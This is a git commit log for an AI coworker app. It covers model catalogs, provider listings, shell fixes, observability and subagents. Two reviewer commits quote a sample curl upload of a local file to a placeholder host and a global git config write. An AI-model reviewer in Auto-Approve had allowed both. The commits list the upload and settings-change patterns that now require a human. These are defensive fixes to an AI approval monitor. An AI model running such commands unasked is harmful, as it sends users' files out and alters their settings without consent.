Commit Graph
681 Commits
Author SHA1 Message Date
Devika Verma e4fc1a80b5 fix(models): live rows read like the reviewed ones; the attachment tag says 'reads images and PDFs' (OPE-252)
Seen on the Gemini page: reviewed rows read "Gemini 3.6 Flash · Google" while
the rows from Google's own list read "Gemma 4 31B IT". A live row now carries
the suffix the reviewed rows of that provider use ("Google", "Anthropic",
"via OpenRouter"; the descriptor's title for a provider with no reviewed
row), on the page and in the composer's labels.

"images + PDF" read like a list, not a capability: "reads images and PDFs",
"reads images", nothing for text only, with the hover line saying so.
2026-11-17 18:38:30 +05:30
Devika Verma dcdf80978b fix(models): one list on the provider page; image, music, video and robotics models are not offered as coworker models (OPE-252)
Owner's reading of the Gemini page: no split between reviewed rows and the
rest (one list, reviewed first, the provider's newest after, new ones above
under their own heading), and a question about Nano Banana Pro, Lyria and
Robotics-ER showing up with a tick box.

Google serves its image, music, video and robotics models through the same
generateContent method as its language models, so the method alone did not
tell them apart. The chat-only filter now reads ids and display names for
those families too. They are not coworker models: a coworker's turns need a
model that holds a conversation and calls tools, and a picker row for a
generator would only fail in a session. Generation as a capability belongs
to a tool, not to the model picker.

A listed id that is not a chat model is still "on the key": a user who types
it by hand is not told the key lacks it (the listing keeps every id for that
check and shows only the chat ones).
2026-11-17 18:38:30 +05:30
Devika Verma 3defd442df fix(models): the provider page says what it means: Reviewed by OpenWorker / Also on your key, '200K context', 'images + PDF' (OPE-252)
Owner's reading of the first build: 'Recommended' hid that the split is reviewed versus not reviewed, a bare '200K' looked like a guess, and 'images' said nothing about PDF. Rows now carry the catalog's pdf flag; the tags read '200K context' and 'images + PDF' (or 'images'), each with a hover line saying where the figure comes from.
2026-11-17 18:38:30 +05:30
Devika Verma 68c2e5258c fix(models): a dated id folds into its catalog row; cloud windows print as the vendor writes them (OPE-252)
Seen on the first run against a real Anthropic key: the list carries
claude-haiku-4-5-20251001 while the catalog and the API know claude-haiku-4-5,
so three curated rows read "not on this key" and their dated twins appeared
again under All models. A dated id now folds into the undated row: one row,
on the key, with the listing's facts and date; add_model accepts either
spelling. A dated id with no catalog twin stays its own row.

The page printed 200,000 as "195K" (the local servers' power-of-two steps).
Cloud windows are decimal: 200K, 922K, 1M.
2026-11-17 18:38:30 +05:30
Devika Verma e23c974770 feat(models): a keyed provider's page lists what its own model list says the key can call (OPE-252)
Layer 1 of OPE-252. Until now a provider's page offered only the curated rows,
and a new model had to be typed in by id with nothing checking it.

Backend
- providers/live_models.py asks the configured provider's own model list with
  the user's key (Anthropic and Gemini their way, Azure at its endpoint, the
  OpenRouter sign-in at OpenRouter, every OpenAI-compatible vendor at its base
  URL) through the shared probe client, reads the three answer shapes in use,
  keeps chat models only, newest first, and carries whatever facts the list
  gives: context window, tool and image support, release date. The ChatGPT
  plan, Bedrock, Vertex and Ark have no list and say so.
- GET /v1/providers/{name}/catalog: the listing merged with the curated rows,
  cached a day per provider (Refresh asks again). Each row says where its facts
  come from (catalog, provider, unverified), whether it is in the picker,
  recommended, new since the check before, and on the key at all. "New" is
  what the list gained since the previous check at least an hour old, so two
  refreshes in a row do not swallow the badge; the first look marks nothing.
  A failed re-ask keeps the last list and says why; a failed first ask falls
  back to the curated rows.
- add_model refuses an id the key's own list does not carry ("Not available on
  this key") and names the closest ids; nothing changes for local servers,
  providers without a list, or before a list was asked.
- The listing's facts for picker models the catalog does not know go to
  live_facts.json; the engine's window resolution and capabilities_for read
  them. Settings answers model_verification per picker model and extends
  labels and windows with the listing's. A window the user saved now beats
  the catalog's (it used to lose).
- The overflow learner: when a provider refuses a long prompt and names its
  limit, the engine saves that figure as the model's context window when ours
  was unknown or larger (compaction.overflow_limit reads the figure from the
  OpenAI, Anthropic, vLLM and generic wordings).

GUI
- ProviderModels on a keyed provider's page: "N models on this key · checked
  2 min ago · Refresh", then New since last check, Recommended, All models
  (searchable, folds at 12), each row a tick for the picker with its context,
  images, new / unverified / not on this key tags and Make default. A typed id
  the key cannot call shows the refusal and "Did you mean" buttons. Providers
  without a list keep the curated checklist under the reason.
- The provider card shows "N new" when the list gained models.
- The model settings dialog lets the user set the context window of a cloud
  model the catalog does not know, and says whether the figure came from the
  provider's list or nowhere.

Tests: tests/test_live_models.py (45: the answer shapes incl. Gemini, Together,
Mistral, Cohere, Groq and garbage; every keyed provider has a request or a
reason; the environment key; fetch never raises; the cache, Refresh, the
restart, "new" across the hour rule, failures; add_model refusal with
suggestions and the cases it must not gate; the facts reaching settings,
the engine and capabilities_for; the window order; the overflow learner;
the route), overflow_limit in test_compaction, ProviderModels.test.tsx (8)
and ProviderGroups.badge.test.tsx. Backend suites around it: 230 passed;
whole GUI suite 769 passed; tsc clean.
2026-11-17 18:38:30 +05:30
Devika Verma 8df2d747f2 test(models): the move to model_catalog.json changed no fact (OPE-252)
A snapshot of MATRIX as the hand-written matrix.py served it on 2026-11-07, 104 rows with every id, label, capability and window; test_model_catalog.py checks the loaded matrix against it while the file still carries the migration serial. The first catalog change bumps the serial and retires the gate.
2026-11-17 18:38:30 +05:30
Devika Verma 9d472d1840 feat(models): the model matrix is a data file (OPE-252)
The 95 hand-written rows of `MATRIX` move from matrix.py to
coworker/providers/model_catalog.json: per provider and model, the label,
tools / vision / pdf / parallel_tool_calls, the context window, and an optional
output limit. Each provider block carries a `note` naming the vendor page or
listing its rows were read from and when (the comments matrix.py used to hold).
A row a maintainer sized on purpose (a window pinned to a particular host, a
capability unverified over this backend) says so with `pinned` and a reason in
its note; 13 rows are pinned.

matrix.py loads the file into the same `MATRIX` dict at import; `entry_for`,
`model_labels`, `model_context_windows` and `models_for_provider` are unchanged,
so no consumer changes. The signed-in OpenRouter provider stays a load-time
mirror and is never listed. `OVERRIDES` (empty) beats the file, before and after
the mirror. `reload()` refills the dict in place under a lock, the helpers read
a snapshot, and a file that fails validation leaves MATRIX untouched.

The loader refuses anything it cannot read as a whole: wrong schema, unknown or
missing fields, a non-boolean capability, a context that is not a positive
whole number, an OpenAI id with a prefix, a mirrored provider listed by hand,
a pin on a field that cannot be pinned. The file is in canonical form
(json.dumps indent 2, one trailing newline) so a catalog pull request diffs
only the rows that changed.

Keeping the file current is a maintainer job, not a runtime one: the app never
fetches a catalog from anyone. `serial`, `generated` and `last_checked` are
informational to the app and move when the maintainers change or check a fact.

Round trip against the hand-written dict: the same 104 ids (95 rows plus the
9 openrouter-account mirrors) in the same order, with the same labels,
capabilities and windows.

Tests: tests/test_model_catalog.py (file contract, package data, the four
helpers against the file, the mirror row for row, capabilities_for, reload in
place, a refused file leaves MATRIX, OVERRIDES on both twins, four reader
threads over 120 reloads, 34 refused shapes, the optional fields accepted);
test_matrix_current_models reuses matrix.full_id. The 251 existing
matrix-reading tests pass unchanged.
2026-11-17 18:38:30 +05:30
Devika Verma 96ef2d07f6 fix(ollama): a profile saved as the old localhost default becomes 127.0.0.1, once (OPE-250)
The Settings form prefills the Ollama address with the default and saves
every field, so anyone who saved the Ollama card before OPE-229 (2026-11-02)
carries `http://localhost:11434` without having typed it. On Windows
`localhost` tries ::1 first, where Ollama does not listen, so every new
connection (each probe, each chat request) waited 0.3-2 s. With the rest of
this branch in place that profile alone kept a cold Models & Keys load at
1.0 s; with it migrated the same load takes 0.39 s.

At manager start, a saved `base_url` that is exactly the old default (a
trailing slash or `/v1` allowed, case-insensitive host) is rewritten to
`DEFAULT_OLLAMA_URL`, keeping the `/v1` and the rest of the profile. OPE-229's
rule that a saved address is used as typed stands for anything else:
`localhost:11435`, a path after the port, or another host are left alone.

Test: the three migrated spellings, three addresses that must stay, and the
no-profile case.

(cherry picked from commit 5a94252ee4f528a8a8e1f200730e558320b3790e)
2026-11-17 18:38:05 +05:30
Devika Verma 53b4a8eb30 perf(models): one HTTP client for every local-server probe; a server that does not answer is not asked for its models (OPE-250)
Measured on Windows 11 with Ollama (5 models) and no other local server
running: a cold GET /v1/providers took 55 s on main, and 51 s again once
the one-minute probe caches lapsed; the composer's cold /v1/settings took
1.9 s.

Three costs stacked on top of the ones the branch already removed:

- httpx.get() builds a new client per call, and building one loads the
  system certificate store: about 2 s on Windows, for a plain http request
  to this machine that never uses TLS. Every probe (local_server.py,
  ollama_facts.py, the manager's Ollama liveness check) now goes through
  one client, providers/probe_http.py, built once at manager start, off the
  request thread.
- A server that did not answer was asked a second time, for its models.
  get_providers and the parallel warm-up list models only for servers that
  are up.
- Four local-server defaults still said `localhost`, which Windows resolves
  to ::1 first; they name 127.0.0.1 now, as Ollama's does since OPE-229.
  Ollama's per-model /api/show calls get the same short loopback connect
  as the listing: with a profile saved as `localhost` each one waited about
  2 s on the ::1 attempt.

Add button: reads "Adding…" and is disabled until the save returns; a
failed save shows the server's reason under the row and keeps the typed
id.

After: cold /v1/providers 1.0 s (0.35 s with the 127.0.0.1 default), 0.8 s
once the caches lapse, cold /v1/settings 0.26 s.

Tests: test_providers_page_speed.py covers the shared client, the
no-second-probe rule and the defaults; ModelChecklist.test.tsx the Add
feedback. Fixtures that stubbed httpx.get now stand the shared client in.

(cherry picked from commit 50415bc08367b87f42b1328b64d155162319f661)
2026-11-17 18:38:04 +05:30
Rohit C Prasad d5c802d57a Sessions whose worktree was removed reopen in the repo root
Archive cleanup re-points the record and marks the worktree removed; a stale record is repaired at connect.
A resumed session reattaches its own branch instead of cutting a new one.
2026-11-07 16:14:41 -08:00
Rohit C Prasad c33fe00495 Feature worktrees for the Code coworker, with settings
start_worktree creates a branch + worktree by policy and moves the session into it.
Settings card: location, branch prefix, fetch-first, setup command, cleanup on archive.
Rail shows the branch; clean worktrees are removed when the session is archived.
2026-11-07 15:38:56 -08:00
Rohit C Prasad 7c7a2941ea code persona: promoted, with eight working principles and coding starters
Ships surfaced and enabled beside the everyday Coworker (supersedes the
2026-08-21 lineup for Code only); prompt rebuilt around the discipline of
a worktree per feature, explore-first subagents, proof by tests.
2026-11-07 15:14:51 -08:00
Rohit Prasad 6daa7816d0 Subagents keep a full record, plus observability fixes (#852)
* subagents: durable child transcripts and audit rows

Each child's full message log persists beside the run record (last 50,
purged with the session, served on demand); child tool calls land in the
session audit log stamped with the task id.

* observability: fixes from the review of the recorder feature

Live-step batches retry a failed flush and stay bounded; the Issues checks
run outside the recorder lock and only the ended turn is re-sequenced;
same-millisecond ordering is causal (two flaky tests fixed at the root);
remote automations load their routing before resolving an unknown id.
2026-11-07 14:26:17 -08:00
Rohit C Prasad ab7431fd8c Merge remote-tracking branch 'origin/main' into issue/ope-244-observability-recorder-store
# Conflicts:
#	surfaces/gui/src/modelNames.ts
2026-11-07 13:37:04 -08:00
Rohit Prasad 709805e5f0 Merge pull request #840 from andrewyng/issue/ope-250-models-page-loading
fix(models): Models & Keys shows loading and load errors, and loads faster (OPE-250)
2026-11-07 13:35:48 -08:00
Rohit Prasad af58873c7a Merge pull request #839 from andrewyng/issue/ope-249-reviewer-uploads-settings
fix(reviewer): uploads to unknown hosts and global settings changes ask the user in Auto-approve (OPE-249)
2026-11-07 13:35:44 -08:00
Rohit Prasad 1d3f734679 Merge pull request #837 from andrewyng/issue/ope-247-openai-model-prefix
fix(models): coworkers that list "openai:<model>" can pick it on an OpenAI-only machine (OPE-247)
2026-11-07 13:35:40 -08:00
Rohit Prasad 258623ab9a Merge pull request #841 from andrewyng/issue/ope-251-ws-shutdown-hang
fix(server): the backend no longer hangs at "Shutting down" when a browser tab stops reading (OPE-251)
2026-11-07 13:35:37 -08:00
Rohit C Prasad 9a66c1e3b3 fix(observability): close the gap with the background-subagents feature
Background children now record like explore's helper (steps under the spawn
step, tokens in the ledger); detached helpers are after_turn so the turn-end
sweep can't close a running child's step; context snapshot duck-types.
2026-11-07 12:50:29 -08:00
Rohit Prasad 22709a226b Merge branch 'main' into issue/ope-244-observability-recorder-store 2026-11-07 11:19:11 -08:00
Rohit Prasad e00f1a181c Merge branch 'main' into issue/ope-251-ws-shutdown-hang 2026-11-07 11:19:08 -08:00
Rohit Prasad af8d5796c8 Merge branch 'main' into issue/ope-250-models-page-loading 2026-11-07 11:19:05 -08:00
Rohit Prasad dc9d6da605 Merge branch 'main' into issue/ope-249-reviewer-uploads-settings 2026-11-07 11:19:02 -08:00
Rohit Prasad d29a44c149 Merge branch 'main' into issue/ope-248-powershell-exit-codes 2026-11-07 11:19:00 -08:00
Rohit Prasad 220fcd1750 Merge branch 'main' into issue/ope-247-openai-model-prefix 2026-11-07 11:18:57 -08:00
Rohit Prasad cf035e2d1d Background subagents and a smarter side panel (#850)
* engine: report window occupancy as a context snapshot

Estimated system/tools/conversation split + resolved window, on ready and
each assistant_message; provider-reported prompt total wins when present.

* gui: right rail glance layer — environment, context meter, header summaries

Environment block (machine/folder/sandbox) atop the rail; Context section with
proportional breakdown and compaction note; collapsed headers carry muted
summary values (amber only for attention); header actions show on hover.

* engine: async subagents — spawn_agent family, human-only approvals, expiry note

Background children (read_only/inherit) with parent-stream approvals and a
fail-closed spawn-time deadline whose tool result says the ask expired;
reports steer or wake the parent; child tokens fold via the agent_task notice.

* gui: Subagents section in the right rail

Active + done runs with seeded icon chips and ages, amber while one waits on
approval; fed by agent_task events + the sessions/tasks endpoint.

* engine: persist subagent runs in a supplemental store

agent_tasks.json beside the wake store, written on transitions: last 50
finished per session, 8KB report cap, live-at-restart runs marked lost.
Also fixes report delivery through call_soon_threadsafe (kwargs crash).

* gui: animal identity glyphs for subagents

Ten one-color silhouettes with punched-out eyes, eight color families per
theme; header chips on the collapsed section; done history compresses to a
glyph grid past ten runs.

* e2e: unshadow the compaction flow; align team/machine specs with the new rail

One compact-the-context handler (signal, divider, context stamp); team header
asserts the attention summary; machine-group locator scoped past the env block.
2026-11-07 10:27:00 -08:00
Devika Verma b50283ed36 fix(server): a websocket client that stopped reading no longer hangs shutdown
Ctrl+C hung at "Shutting down" when a browser tab had stopped reading its
websocket (a frozen or discarded tab, or after sleep) while the server kept
pushing events: the connection could never send its close frame, uvicorn
waited for it, and since Python 3.12 Server.wait_closed() waits for every
transport, so a second Ctrl+C could not force past it either.

ws_guard.py: a send on the GUI's websockets (/ws/session, /ws/events) that
cannot finish in 15 s (COWORKER_WS_SEND_TIMEOUT) aborts that connection, and
the launcher's GuardedServer aborts every websocket still open before uvicorn
waits for connections. Machine links keep no send timeout; they carry large
frames over slow networks.

Checked with a frozen browser tab on a live session: before, still running
40 s after Ctrl+Break; now it exits in 0.5 s.
2026-11-05 16:50:45 +05:30
Devika Verma 079939f635 perf(models): ask the local model servers at once, with a short loopback connect
On Windows a refused connection to a loopback port takes about 2 s, and
localhost tries ::1 and then 127.0.0.1; the six local servers and Ollama
were asked one after another, so a cold GET /v1/providers took 35 s here.
The first request to a loopback server now waits 0.3 s to connect (a server
elsewhere keeps the whole budget), the servers are asked at the same time,
and Ollama's /api/show calls too. The liveness cache is one dict updated in
place, so the parallel answers are all kept. Cold is now about 4 s here,
most of it Ollama answering; warm is a few ms.
2026-11-05 16:50:45 +05:30
Devika Verma c1dd0ed2ba fix(observability): keep the per-turn usage's model spelling the golden corpus defines (T3-4)
calculator.usage by_model is part of the shared golden corpus, which keeps
the recorded spelling (openai:gpt-5.1); faeb7022 changed it and three golden
screen-number cases failed. The GUI never shows that map; the session usage
table (by_model_parts), the ledger grouping and the turn lists still read one
name per model.
2026-11-05 16:43:29 +05:30
Devika Verma 7703132a17 fix(observability): one model, one name when recordings are read (T3-4)
Sessions saved before the model-prefix fix (PR #837) recorded one OpenAI
model as both openai:model-x and model-x, so Usage showed it twice and split
its tokens. Recordings are not rewritten; they are read through one rule:
drop the openai: prefix, keep every other. The server's model_names.py
canonical_model (and its SQL form for the ledger's model grouping) and the
GUI's canonicalModel in modelNames.ts are the same, line for line, as #837's
canonical_model and canonicalModel, so the two agree when both land.

Applied to the Usage grouping by model, each turn's models (Heaviest turns,
How it's been doing), the session usage by model and the Trace panel's
model labels.
2026-11-05 16:43:29 +05:30
Devika Verma b35851d3ab test(observability): neutral model ids in this batch's test data (T3-16)
The coworker page's Can use test and its fixture, the models-used line, the
short model names and the canonical model rule now use model-x style ids.
2026-11-05 16:43:28 +05:30
Devika Verma cffbce91fd fix(observability): the coworker page after the live check (T3-16)
(a) The history table has fixed columns and wrapping headers, so it stays
inside its card; a version kept without its files is still numbered (v1),
so its row is no longer the long ⓕ fingerprint that wrapped. (b) "too few
sessions to compare" is centred across Typical tokens and Approvals asked.
(d) The coworker's allowed models read "Can use: …" and the history's
"Models used in the last 30 days: …", which now go through the canonical
rule (only the openai: prefix is dropped, as canonical_model on
issue/ope-247). (e) The Default mode and Workspace lines are gone.
(c) and (f) were already fixed in 3942ed9e and 96aae337; the backend on 8765
was started before them and needs a restart to show them.
2026-11-05 16:43:28 +05:30
Devika Verma e609534ded fix(observability): How it's been doing reads for a person (T3-15)
Versions are v1, v2 (oldest first) with "· current" and the fingerprint
on hover; In use reads "Nov 2" for one day, "… – today" and "Nov 3 or
earlier"; the columns say Sessions, Typical tokens per session (hover: the
middle session's tokens), Approvals asked per session, Turns with issues and
Ratings, and "too few sessions to compare" is one note across both typical
columns. A first version says only "First version seen on this machine.",
has no Show diff ("Nothing to compare yet"), and its models are on their own
line, "Models used: X and N more" with the full list on hover, counting only
the coworker's own work (main and helpers). The default coworker's only
version is marked current again: its current fingerprint is now worked out
from the built agent, as sessions do, since it has no manifest.
2026-11-05 16:43:28 +05:30
Devika Verma cfa65df267 feat(observability): move between turns in the Trace panel: list, search, keys, strip (T3-14)
"Turn N of M" opens a list of the session's turns: number, start time, the
first words of your message, tokens, an issue badge and the wake reason;
click a line, or type a number and press Enter. A search box keeps the turns
whose message, answer, tool names, file names or issue titles match,
ignoring case, and says "No turns match." when none do. It reads only what
the GUI already holds: the conversation, split at each turn's answer by its
message id, and the recorded turns, which now list their warning checks.
← and → move between turns while the panel has focus and no text box does.
Under the picker, a thin bar per turn: its height is the turn's tokens, amber
when it has issues, the current one marked, click to jump, and a hover line
"Turn N · 12.3k tokens · 1 issue"; past 120 turns the bars are thin and the
strip scrolls.
2026-11-05 16:43:27 +05:30
Devika Verma 2a903b7258 fix(observability): stop the Phase 3 background work before the stores close (T3-3)
At stop, the queued series and task checks are dropped (the scope pool's
thread is not a daemon, so Python waited for it at exit and it ran each
queued check on a closed store), and the start-up re-check and ledger
backfill stop between sessions. The hang itself did not reproduce: Ctrl+Break
exited in 1-1.5 s with the events and session websockets open, with a turn
running, and on a snapshot of the 78 MB test state, on this build and on
8783c340.
2026-11-05 16:43:27 +05:30
Devika Verma 77653c0ff7 feat(observability): a Ratings card on Usage (T3-10)
The period's 👍 and 👎, how often each reason was picked, and the turns
rated 👎 with their note, how many of their steps were auto-approved, and a
Trace link. GET /v1/observability/ratings gives it, for the same turns the
page counts and narrowed to one coworker when one is picked. No charts or
trends; those stay with Langfuse.
2026-11-05 16:43:26 +05:30
Devika Verma c730ce6dae fix(observability): open a coworker's page from its name, the default's too (T3-12)
In Settings ▸ Coworkers the name opens the coworker's page for every
coworker, OpenWorker included. In Usage ▸ By coworker each name opens that
coworker's page at How it's been doing; Back returns to Activity. A test
checks the default coworker's page and history answer for its id.
2026-11-05 16:43:26 +05:30
Devika Verma 07f394db99 fix(observability): Auto-approve is one table, a row per reviewer (T3-6)
Each reviewer is named in full (Session model, Decision model · OpenAI
Decisions, Decision model · Jev) with its own checks, overrides, median
time and model tokens, and a Total row carries the shadow note. The server
gives overridden and tokens per reviewer in by_reviewer: an override counts
for the reviewer its turn ran with.
2026-11-05 16:43:25 +05:30
Devika Verma 931a025b8d fix(reviewer): settings changes outside the folders ask the user in Auto-Approve
Round-2 F-5, second half: with the session model as reviewer,
Auto-Approve allowed `git config --global user.name tester` without a
card. The protected-file floor lets plain git keys through and ignores
--global, and nothing in code covered other user-level settings, so the
verdict was the model's alone.

Now, in Auto-Approve, a shell command that changes the user's settings
outside the working folders goes to a person, not the reviewer:
`git config --global|--system` writes, npm / pnpm / yarn / pip config
writes (not npm/pnpm `--location project` or pip `--site`), setx, .NET
SetEnvironmentVariable for User or Machine, registry writes, and writes
to shell profiles or user-level config files (~/.bashrc, $PROFILE,
~/.gitconfig) that lie outside every folder. Inline shells (`bash -c`,
`powershell -Command`, `cmd /c`) are read too. Reading settings,
repo-local git config and sourcing a profile are unchanged, as are
Interactive, Custom, full access, the user's own command allowlist and
an approved plan step for the exact command.

Eval corpora: gate-081 now records human_only (its secure answer);
review-047 and review-222 are tagged settings-floor and left out of the
score; legacy danger-029/030 join the shadow-eval exact list.
2026-11-05 15:14:50 +05:30
Devika Verma baa6fc8a4e fix(reviewer): uploads to a host nobody granted ask the user in Auto-Approve
Round-2 F-5: with the session model as reviewer, Auto-Approve allowed
`curl -X POST https://backup-1.example.invalid/upload --data-binary @notes.txt`
without a card. The reviewer's instructions already call that "unsure"
(a destination the user never gave), but the verdict was the model's
alone, and the secrets floor (OPE-236) only fires for secret-looking
files.

Now, in Auto-Approve, a shell command that sends local files or data
to a network host goes to a person, not the reviewer, unless the user
granted every host it sends to: the machine's allowed sites, a site or
domain allowed for this session, the settings' allowed domains, or an
approved plan step for this exact upload (OPE-237). A grant leaves the
command to the reviewer as before; it does not auto-allow.

"Local data" is read from the command text (review_facts.
shell_upload_hosts): a file or stdin as the body or an upload
(`@file`, `-F f=@x`, `-T`, `--post-file`, `-InFile`, httpie `f@x`), a
variable or command output in a network client's arguments, an scp /
rsync / sftp copy to a remote, data piped or redirected into nc. Typed
text (`-d grant_type=...`) and a bare `-X POST` stay with the reviewer.
Interactive, Custom and full-access modes, and the user's own command
allowlist, are unchanged.

Eval corpora: gate-075 now records `human_only` (still short of its
secure `hard_deny`); reviewer rows the floor now takes are tagged
`upload-floor` and left out of the score; the reviewer harness gives a
row's allowed domains and plan-step fact to the engine as grants.
2026-11-05 15:14:50 +05:30
Devika Verma 27881f445b fix(shell): a failed PowerShell cmdlet no longer reports an earlier program's exit code
`$LASTEXITCODE` keeps its value across calls, so after `cmd /c exit 3`
every later failing cmdlet (a missing `Get-Item`, say) reported exit
code 3, even several calls later.

When the parse check finds no errors, the same line now clears
`$LASTEXITCODE` just before the command runs. A failure reports a
native program's code only if one ran in this command, else 1. Like
bash, a later call no longer sees the previous call's code; each result
carries its own.
2026-11-05 15:14:47 +05:30
Devika Verma d0c47ea754 fix(shell): a multi-line PowerShell command no longer hangs
PowerShell's `-Command -` REPL waits for an empty line before it runs a
statement that spans lines (`foreach (...) {` ... `}`), like an
interactive console. Nothing sent one, so the trailer was read into the
open block, the marker never came, and the call hung until its timeout.

After a command that spans lines, one empty line is now sent before the
trailer. The parse check guarantees the command is complete, so the
line only ends it. Single-line commands are sent as before; the last
line's exit code still decides, and state defined across lines
persists.
2026-11-05 15:14:47 +05:30
Devika Verma df69eb9997 fix(shell): a PowerShell parse error is exit code 1, not 0
PowerShell's `-Command -` REPL skips a line it cannot parse, so the trailer's
`$?` still held the previous trailer's success and `run_shell` returned
exit_code 0 (round-2 F-8: `curl ... --data-binary @notes.txt` is splatting
to PowerShell). An unclosed quote also swallowed the trailer and hung until
the timeout.

The executor now parses each command in the running shell first, with
PowerShell's own parser (the command is sent as base64). On errors nothing
runs and the result is exit code 1 with PowerShell's error text, as
`powershell -Command` gives. The check's variables are removed again.
Covers direct mode and the sandbox tool runner, which share the executor.
2026-11-05 15:14:47 +05:30
Devika Verma 6500fa0ce1 Treat openai:<model> and <model> as the same model
Coworker manifests list models as `openai:gpt-5.6-sol`, while the machine's
model list names OpenAI models bare (`gpt-5.6-sol`). The composer compared
the two as plain strings, so on a machine with only an OpenAI key every
such coworker showed "No model" and could not be used. The server made the
same comparison, so a session or team worker could record the model under
either name, which split one model into two in Usage.

One rule now decides model identity: a prefix naming the default provider
is dropped, every other prefix is kept. It lives in
`coworker/providers/router.py` (`canonical_model`) and
`surfaces/gui/src/modelNames.ts` (`canonicalModel`).

- Composer: `coworkerModels` picks the picker list, the unrunnable entries
  and the model a fresh draft binds to, using that rule.
- Event-started session settings: same rule for the coworker's model list.
- Server: `resolve_persona_model` and `resolve_worker_model` compare and
  return the canonical id, so new sessions and team workers record one
  name per model. Existing records keep the name they were saved with.
2026-11-05 14:14:48 +05:30
Devika Verma 7a087f9d0c test(observability): Phase 3 tests use recent turn dates, not 1970
A store with the background writer runs its retention sweep on its first
tick. A turn dated 1970 is past the 30 days, so when that sweep landed
between a test's write and its read, the turn was gone (CI: test_turns_
recorded_before_the_ledger_are_filled_in, `assert [] == ['T0']`).

The four tests that write such turns to a SessionManager's store now date
them an hour ago: the ledger backfill, lead polling, the team summary
cache and the resumed automation turn. The product is unchanged.
2026-11-05 11:42:12 +05:30
Devika Verma 32cd6f2f10 chore(observability): signals.yaml 0.7 from the shared docs (scanners.not_found)
The app's copy of signals.yaml, the recording-format schema and the
golden corpora (phase 1 to 3) now match docs commit d709ba4. 0.7 takes
the not-installed rule that was local to this copy; its data is the
same, so no answer changes, only the version in the expected files.

The engine records a shell step's scanner through one function,
scopes.recorded_scanner, that reads both the result's output and its
error, as 0.7 says. The new golden vector scanner-not-found.json (ten
steps) runs through that same function.
2026-11-04 23:20:15 +05:30
Devika Verma 847aca2f84 fix(observability): Phase 3 review before merging (P3B-2 to P3B-7)
- P3B-2: the rating export picks the unsent ratings in the query, so it
  keeps moving after the first 100.
- P3B-3: an offline machine's cached Usage answer is kept per request
  (period, grouping, coworker), and served only for that same request.
- P3B-4: "same approval asked twice" points at the repeat card, in the
  Issues tab and in TeamView's event line alike.
- P3B-5: the team summary reads the members' turns once, finds the
  hand-off step with one indexed read, reads only the asked-about tool
  steps for approval cards, and keeps its Phase 3 part and the team's
  task checks until a member's recording, the board or the journal
  changes.
- P3B-6: the usage ledger is worked out after the recording's own
  transaction, one turn at a time, so a ledger error cannot throw away
  recorded steps.
- P3B-7: a run's turn resumed after an answered card keeps the run's
  `automation` (TD3-23: a run's own turns); a later follow-up does not.
2026-11-04 21:48:44 +05:30
Devika Verma 2213c77bc6 fix(observability): a scanner that is not installed did not scan (P3B-1)
On Windows, PowerShell exits 1 for a command it does not know, the
same code most scanners use for found something, so a missing semgrep
read as a scan that ran and found something: scan_missing and
scanner_failed stayed quiet and the coverage list showed a scan that
never happened.

When recording a shell step that names a scanner, the engine now
records scanner null (no scan ran) when the command exited 127 or 9009,
or a line of its output names the scanner with a not-found phrase (is
not recognized as, command not found, : not found,
CommandNotFoundException, no module named, could not determine
executable to run). The rule is in signals.yaml scanners.not_found so
the Rust SDK can apply the same one.
2026-11-04 17:44:46 +05:30
Devika Verma 75b4ecbcfb fix(observability): a changed rating clears the earlier note in Langfuse
Langfuse merges a score sent again under the same id, so leaving the
comment out kept the earlier rating's note. The score now always carries
a comment, empty when no note is sent. Found against a local Langfuse.
2026-11-04 17:42:06 +05:30
Devika Verma a5ffefe6bf fix(observability): a turn on a new event loop kept its model call; Phase 3 open items
- The engine's Stop flag is made on the turn's own event loop. A turn on
  another loop (each test-client socket has one) could not wait on the
  old flag, read the stream as stopped and ended with an empty answer
  while its model call ran on outside the turn, so the ledger missed it
  and the totals stopped matching the pill.
- The evidence card reads each scanner's own found-something codes.
- The Usage page narrows to one coworker; the turns and approver
  endpoints take persona_id.
- A joined machine stamps its turns with the id the controller lists it
  under, from the welcome itself.
- The Scheduled view lists joined machines' automations and routes every
  call and run session to their machine.
2026-11-04 16:58:31 +05:30